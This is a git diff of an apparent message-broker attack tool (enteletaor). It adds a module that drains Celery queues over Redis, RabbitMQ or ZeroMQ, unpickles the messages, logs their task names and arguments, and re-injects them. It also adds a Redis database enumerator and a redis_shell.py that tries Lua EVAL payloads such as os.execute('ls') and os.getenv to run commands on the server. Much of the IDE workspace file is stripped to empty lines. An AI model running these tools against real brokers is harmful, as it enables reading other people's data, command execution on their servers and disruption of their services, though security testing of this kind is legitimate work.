diff --git a/.gitignore b/.gitignore index 9481f2e..845e089 100644 --- a/.gitignore +++ b/.gitignore @@ -6,6 +6,7 @@ __pycache__/ # C extensions *.so +.idea # Distribution / packaging .Python diff --git a/.idea/workspace.xml b/.idea/workspace.xml index f6dafb0..b09a9bd 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -1,8 +1,10 @@ - + + + @@ -19,8 +21,10 @@ + + @@ -36,11 +40,11 @@ - - + + - + @@ -48,27 +52,24 @@ - - + + - - - - - - + + + - - + + - - + + - - + + @@ -92,11 +93,6 @@ @@ -272,7 +273,7 @@ - + + + + + - + - - - + + + + + @@ -610,7 +649,13 @@ @@ -619,17 +664,17 @@ - + - + - + - + - + @@ -653,7 +698,8 @@ - @@ -663,16 +709,6 @@ 29 @@ -693,13 +729,6 @@ - - - - - - - @@ -766,7 +795,7 @@ - + @@ -809,14 +838,6 @@ - - - - - - - - @@ -841,17 +862,6 @@ - - - - - - - - - - - @@ -873,9 +883,8 @@ - - - + + @@ -904,7 +913,7 @@ - + @@ -923,7 +932,7 @@ - + @@ -933,8 +942,8 @@ - - + + @@ -944,7 +953,7 @@ - + @@ -954,7 +963,7 @@ - + @@ -981,25 +990,13 @@ - - - - - - - - - - - - - - + + @@ -1012,13 +1009,13 @@ - + - - - - + + + + @@ -1117,16 +1114,6 @@ - - - - - - - - - - @@ -1149,58 +1136,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -1226,10 +1161,59 @@ - + - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -1238,25 +1222,95 @@ - - + + - + + - + - - + + - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ATTACKS.md b/ATTACKS.md index bc1a36f..fe525bb 100644 --- a/ATTACKS.md +++ b/ATTACKS.md @@ -19,4 +19,5 @@ These attacks can be executed in all of brokers/MQ: #. Looking for sensible information (i.e. user/password) #. Remote command injection #. Listing remote process +#. Remove messages form queues #. Reject all messages stored in queues to avoid clients to receive them diff --git a/enteletaor_lib/modules/dump/__init__.py b/enteletaor_lib/modules/dump/__init__.py deleted file mode 100644 index 08e2e75..0000000 --- a/enteletaor_lib/modules/dump/__init__.py +++ /dev/null @@ -1,102 +0,0 @@ -# -*- coding: utf-8 -*- - -import pickle -import logging - -from time import sleep -from modules import IModule -from kombu import Connection -from kombu.simple import Empty -from kombu.exceptions import SerializationError - -from ...libs.core.structs import CommonData, AppSettings -from ...libs.core.models import IntegerField, StringField, SelectField, validators - -log = logging.getLogger() - -REDIS = "10.211.55.69" - - -class ModuleModel(CommonData): - interval = IntegerField(default=4) - target = StringField([validators.required()]) - export_results = StringField(default="") - import_results = StringField(default=None) - broker_type = SelectField(default="redis", choices=[ - ("redis", "Redis server"), - ("zmq", "ZeroMQ"), - ("amqp", "RabbitMQ broker") - ]) - - -# ---------------------------------------------------------------------- -class RemoteProcessModule(IModule): - """ - Try to extract information from remote processes - """ - __model__ = ModuleModel - - name = "dump" - description = "connect to remote server/s and dumps all available information" - - # ---------------------------------------------------------------------- - def run(self, config): - # -------------------------------------------------------------------------- - # Ver dirty monkey patch to avoid kombu write into screen - # -------------------------------------------------------------------------- - try: - import sys - sys.stderr = open("/dev/null") - except IOError: - pass - - dump_from_celery(config) - - -# ---------------------------------------------------------------------- -def dump_from_celery(config): - """ - Start dumping information - """ - URL = '%s://%s' % (config.broker_type, config.target) - - # with Connection('redis://%s' % REDIS) as conn: - with Connection(URL) as conn: - in_queue = conn.SimpleQueue('celery') - - while 1: - try: - while 1: - message = in_queue.get(block=False, timeout=1) - # message = in_queue.get(block=False, timeout=1) - - # -------------------------------------------------------------------------- - # Try to deserialize - # -------------------------------------------------------------------------- - # Is Pickle info? - try: - deserialized = pickle.loads(message.body) - except SerializationError: - pass - - # Read info - remote_process = deserialized['task'].split(".")[-1] - remote_args = deserialized['args'] - - # Show info - _show_info(remote_process, remote_args) - - except Empty: - # Queue is empty -> wait - log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval) - sleep(2) - - -# ---------------------------------------------------------------------- -def _show_info(process, args): - - log.error("Found process information:") - log.error(" - Remote process name: '%s'" % process) - log.error(" - Input parameters:") - for i, x in enumerate(args): - log.error(" -> P%s: %s" % (i, x)) diff --git a/enteletaor_lib/modules/proc/__init__.py b/enteletaor_lib/modules/proc/__init__.py new file mode 100644 index 0000000..a69f24b --- /dev/null +++ b/enteletaor_lib/modules/proc/__init__.py @@ -0,0 +1,57 @@ +# -*- coding: utf-8 -*- + +import logging + +from modules import IModule + +from libs.core.structs import CommonData +from libs.core.models import IntegerField, StringField, SelectField + +from .proc_raw_dump import action_proc_raw_dump +from .cmd_actions import parser_proc_raw_dump + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +class ModuleModel(CommonData): + target = StringField(required=True) + export_results = StringField(default="") + import_results = StringField(default=None) + db = StringField(default=None, label="only for Redis: database to use") + broker_type = SelectField(default="redis", choices=[ + ("redis", "Redis server"), + ("zmq", "ZeroMQ"), + ("amqp", "RabbitMQ broker") + ]) + + +# ---------------------------------------------------------------------- +class RemoteProcessModule(IModule): + """ + Try to extract information from remote processes + """ + __model__ = ModuleModel + __submodules__ = { + 'raw-dump': dict( + help="dump raw remote information process", + cmd_args=parser_proc_raw_dump, + action=action_proc_raw_dump + ), + } + + name = "proc" + description = "try to discover and handle processes in remote MQ/Brokers" + + # ---------------------------------------------------------------------- + def run(self, config): + # -------------------------------------------------------------------------- + # Ver dirty monkey patch to avoid kombu write into screen + # -------------------------------------------------------------------------- + try: + import sys + sys.stderr = open("/dev/null") + except IOError: + pass + + super(RemoteProcessModule, self).run(config) diff --git a/enteletaor_lib/modules/proc/cmd_actions.py b/enteletaor_lib/modules/proc/cmd_actions.py new file mode 100644 index 0000000..a21aa9f --- /dev/null +++ b/enteletaor_lib/modules/proc/cmd_actions.py @@ -0,0 +1,13 @@ +# -*- coding: utf-8 -*- + +""" +This file contains command line actions for argparser +""" + + +# ---------------------------------------------------------------------- +def parser_proc_raw_dump(parser): + parser.add_argument("--tail", action="store_true", dest="tail_mode", default=False, + help="although all information be dumped do not stop") + parser.add_argument("-I", dest="interval", type=float, default=4, + help="timeout interval between tow connections") diff --git a/enteletaor_lib/modules/proc/proc_raw_dump.py b/enteletaor_lib/modules/proc/proc_raw_dump.py new file mode 100644 index 0000000..5e2dd1f --- /dev/null +++ b/enteletaor_lib/modules/proc/proc_raw_dump.py @@ -0,0 +1,75 @@ +# -*- coding: utf-8 -*- + +import six +import logging + +from time import sleep +from kombu import Connection +from kombu.simple import Empty +from six.moves.cPickle import loads +from kombu.exceptions import SerializationError + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def action_proc_raw_dump(config): + + url = '%s://%s' % (config.broker_type, config.target) + + # with Connection('redis://%s' % REDIS) as conn: + with Connection(url) as conn: + in_queue = conn.SimpleQueue('celery') + + to_inject = [] + already_processed = set() + + while 1: + try: + while 1: + message = in_queue.get(block=False, timeout=1) + + # -------------------------------------------------------------------------- + # Try to deserialize + # -------------------------------------------------------------------------- + # Is Pickle info? + try: + deserialized = loads(message.body) + except SerializationError: + pass + + msg_id = deserialized['id'] + + # Read info + if msg_id not in already_processed: + + remote_process = deserialized['task'].split(".")[-1] + remote_args = deserialized['args'] + + # Show info + log.error("Found process information:") + log.error(" - Remote process name: '%s'" % remote_process) + log.error(" - Input parameters:") + for i, x in enumerate(remote_args): + log.error(" -> P%s: %s" % (i, x)) + + # Store as processed + already_processed.add(msg_id) + + # -------------------------------------------------------------------------- + # Store message to re-send + # -------------------------------------------------------------------------- + to_inject.append(deserialized) + + except Empty: + # When Queue is Empty -> reinject all removed messages + for x in to_inject: + in_queue.put(x, serializer="pickle") + + # Queue is empty -> wait + if config.tail_mode: + log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval) + sleep(config.interval) + else: + log.error("No more messages from server. Exiting...") + return diff --git a/enteletaor_lib/modules/redis/__init__.py b/enteletaor_lib/modules/redis/__init__.py index 60676e1..4b10b1e 100644 --- a/enteletaor_lib/modules/redis/__init__.py +++ b/enteletaor_lib/modules/redis/__init__.py @@ -12,6 +12,7 @@ from .redis_info import action_redis_server_info from .redis_clients import action_redis_server_connected from .redis_disconnect import action_redis_server_disconnect from .redis_shell import action_redis_shell +from .redis_discover_db import action_redis_discover_dbs log = logging.getLogger() @@ -50,6 +51,10 @@ class RedisModule(IModule): cmd_args=parser_redis_server_disconnect, action=action_redis_server_disconnect ), + 'discover-dbs': dict( + help="discover all redis DBs at server", + action=action_redis_discover_dbs + ), # 'shell': dict( # help="open a remote os shell through the Redis server", # action=action_redis_shell diff --git a/enteletaor_lib/modules/redis/redis_discover_db.py b/enteletaor_lib/modules/redis/redis_discover_db.py new file mode 100644 index 0000000..3b56273 --- /dev/null +++ b/enteletaor_lib/modules/redis/redis_discover_db.py @@ -0,0 +1,26 @@ +# -*- coding: utf-8 -*- + +import six +import redis +import logging + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def action_redis_discover_dbs(config): + """ + Dump all redis information + """ + log.warning("Trying to connect with redis server...") + + # Connection with redis + con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) + + log.error("Discovered '%s' DBs at '%s':" % (config.target, con.config_get("databases")['databases'])) + + for db_name, db_content in six.iteritems(con.info("keyspace")): + log.error(" - %s - %s keys" % (db_name.upper(), db_content['keys'])) + + for i in six.moves.range((int(con.config_get("databases")['databases']) - len(con.info("keyspace")))): + log.error(" - DB%s - Empty" % str(i)) diff --git a/enteletaor_lib/modules/redis/redis_dump.py b/enteletaor_lib/modules/redis/redis_dump.py index 2dae9ab..1806b27 100644 --- a/enteletaor_lib/modules/redis/redis_dump.py +++ b/enteletaor_lib/modules/redis/redis_dump.py @@ -7,6 +7,7 @@ import pprint log = logging.getLogger() +# ---------------------------------------------------------------------- def dump_keys(con): for key in con.keys('*'): diff --git a/enteletaor_lib/modules/redis/redis_shell.py b/enteletaor_lib/modules/redis/redis_shell.py new file mode 100644 index 0000000..3af03ea --- /dev/null +++ b/enteletaor_lib/modules/redis/redis_shell.py @@ -0,0 +1,52 @@ +# -*- coding: utf-8 -*- + +import six +import redis +import logging + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def action_redis_shell(config): + """ + Dump all redis information + """ + log.warning("Trying to connect with redis server...") + + # Connection with redis + con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) + + # LUA script + lua_script = '''local value = os.execute(ls) + return value''' + # lua_script = ''' + # eval "os.execute(ls)" + # ''' + + # script = con.register_script(lua_script) + # con.eval('os.execute("ls")', None) + # script = con.script_load(lua_script) + + + lua_script = "print('/home/parallels/hola.txt')" + lua_script = 'string.find("hello Lua users", "Lua")' + lua_script = "dofile('/home/parallels/hola.txt')" + lua_script = """local code = [[ + os.execute("ls") + ]] + local h = loadstring(code) + return h()""" + # lua_script = """ + # local x = "Hello World" + # local code = string.dump(function() print(x) end) + # local hi = loadstring(code) + # return hi() + # """ + lua_script=""" + return os.getenv"USER" + """ + print(con.eval(lua_script, 0)) + + # c = con.script_load(lua_script) + # con.evalsha(c, 0) \ No newline at end of file